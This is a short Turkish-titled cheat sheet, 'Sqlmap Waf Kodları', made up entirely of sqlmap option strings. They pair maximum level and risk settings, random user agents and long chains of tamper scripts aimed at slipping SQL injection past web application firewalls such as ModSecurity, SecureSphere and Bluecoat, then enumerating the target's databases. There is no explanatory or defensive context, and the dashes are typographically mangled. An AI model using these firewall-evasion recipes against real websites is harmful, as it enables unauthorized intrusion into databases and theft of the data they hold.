Sqlmap Waf Kodları

–random-agent –level=5 –risk=3 -p ‘item1’ –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

–random-agent –technique=BUSETQ –level=5 –risk=3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor –time-sec=10 –timeout=10 –retries=20 –no-cast –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=between –timeout=10 –time-sec=10 –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=space2morehash –timeout=10 –time-sec=10 –dbs

–random-agent –level=5 –risk=3 –technique=BUSETQ –tamper=halfversionedmorekeywords –timeout=10 –time-sec=10 –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=randomcase –timeout=10 –retries=20 –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=modsecurityversioned –timeout=10 –retries=20 –no-cast –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=space2mysqlblank –timeout=10 –retries=20 –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=space2comment –timeout=10 –retries=20 –dbs

–random-agent –technique=BUSETQ –tamper=between -timeout=10 –retries=20 –dbs

–random-agent –technique=BUSETQ –level 3 –risk 3 –tamper=between –timeout=10 –retries=20 –dbs

–random-agent –level=3 –risk=3 –technique=BUSETQ –tamper=space2comment –timeout=10 –retries=20 –no-cast –dbs

–batch -v 6 –threads=10 –random-agent 10 –level=5 –risk=3 –technique=BUSETQ –tamper=”space2mysqlblank,apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,multiplespaces,ifnull2ifisnull,space2morehash” –timeout=10 –retries=20 –no-cast –dbs